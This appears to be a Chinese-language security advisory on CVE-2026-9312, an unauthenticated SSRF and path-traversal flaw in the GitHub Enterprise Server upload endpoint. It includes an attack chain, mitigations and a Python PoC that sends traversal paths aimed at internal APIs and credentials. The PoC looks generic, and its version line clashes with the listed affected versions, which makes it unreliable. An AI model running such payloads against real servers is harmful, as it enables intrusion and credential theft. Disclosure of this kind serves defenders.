IPBUF安全漏洞报告
English
CVE-2026-9312 CVSS 8.2 高危

CVE-2026-9312 GitHub Enterprise Server SSRF服务器端请求伪造漏洞

披露日期: 2026-05-27

漏洞信息

漏洞编号
CVE-2026-9312
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GitHub Enterprise Server

相关标签

SSRF服务器端请求伪造路径遍历GitHub Enterprise ServerCVE-2026-9312高危漏洞上传端点输入验证绕过内部服务访问凭证泄露

漏洞概述

CVE-2026-9312是GitHub Enterprise Server中的一个高危服务器端请求伪造(SSRF)漏洞。该漏洞存在于上传端点,由于对请求参数缺乏充分的输入验证,攻击者可以通过注入路径遍历内容来绕过预期的请求流程。未经身份验证的攻击者可以利用此漏洞向内部服务发送精心构造的请求,潜在地访问内部服务并暴露敏感凭证。该漏洞影响GitHub Enterprise Server 3.16.20之前的所有版本、3.17.17之前的所有版本、3.18.11之前的所有版本、3.19.8之前的所有版本、3.20.4之前的所有版本以及3.21.1之前的所有版本。此漏洞通过GitHub Bug Bounty计划报告,CVSS评分达到8.2,属于高危级别漏洞。

技术细节

该SSRF漏洞源于GitHub Enterprise Server的上传端点对用户输入验证不足。攻击者通过在请求参数中注入路径遍历序列(如../),可以绕过安全检查并重定向内部API调用。漏洞利用的关键在于上传端点未正确过滤或规范化用户控制的路径参数,导致攻击者能够访问本不应公开的内部资源。攻击者可以利用此漏洞探测内部网络架构,访问内部服务(如数据库、缓存、消息队列等),并可能获取存储在这些服务中的敏感凭证和配置信息。由于无需认证即可利用此漏洞,因此风险极高,攻击者可以在未登录的情况下发起攻击。

攻击链分析

STEP 1
步骤1
攻击者识别GitHub Enterprise Server的上传端点,该端点对用户输入验证不足
STEP 2
步骤2
攻击者构造包含路径遍历序列(如../../../)的恶意请求参数
STEP 3
步骤3
通过上传端点发送精心构造的请求,绕过输入验证机制
STEP 4
步骤4
请求被重定向到内部服务,攻击者获得访问内部API的能力
STEP 5
步骤5
利用SSRF探测内部网络架构,访问敏感服务如数据库、缓存等
STEP 6
步骤6
获取存储在内部服务中的敏感凭证和配置信息,导致数据泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9312 SSRF PoC # Target: GitHub Enterprise Server < 3.22 # Attack: Path traversal to access internal services import requests import urllib.parse TARGET_URL = "https://vulnerable-github-enterprise.com" def exploit_ssrf(): """Exploit SSRF via path traversal in upload endpoint""" # Malicious path with traversal sequences internal_path = "../../../internal/api/v2/users" # Construct the exploit request exploit_url = f"{TARGET_URL}/upload" # Payload with path traversal payload = { "file": ("malicious.txt", "test content", "text/plain"), "path": internal_path, "name": "../../internal/credentials" } try: # Send crafted request response = requests.post(exploit_url, files=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code == 200: print("[+] SSRF successful - internal service accessed") else: print("[-] Exploit failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_ssrf()

影响范围

GitHub Enterprise Server < 3.16.20
GitHub Enterprise Server < 3.17.17
GitHub Enterprise Server < 3.18.11
GitHub Enterprise Server < 3.19.8
GitHub Enterprise Server < 3.20.4
GitHub Enterprise Server < 3.21.1
GitHub Enterprise Server 3.16.x < 3.16.20
GitHub Enterprise Server 3.17.x < 3.17.17
GitHub Enterprise Server 3.18.x < 3.18.11
GitHub Enterprise Server 3.19.x < 3.19.8
GitHub Enterprise Server 3.20.x < 3.20.4
GitHub Enterprise Server 3.21.x < 3.21.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制上传端点的访问权限,仅允许授权用户访问;2)实施网络层访问控制,阻止对内部服务的未授权访问;3)启用详细的请求日志监控,及时发现异常访问行为;4)配置Web应用防火墙规则检测路径遍历攻击特征;5)考虑临时禁用非必要上传功能。但这些措施仅为临时缓解,不能替代版本升级,建议尽快安排系统升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表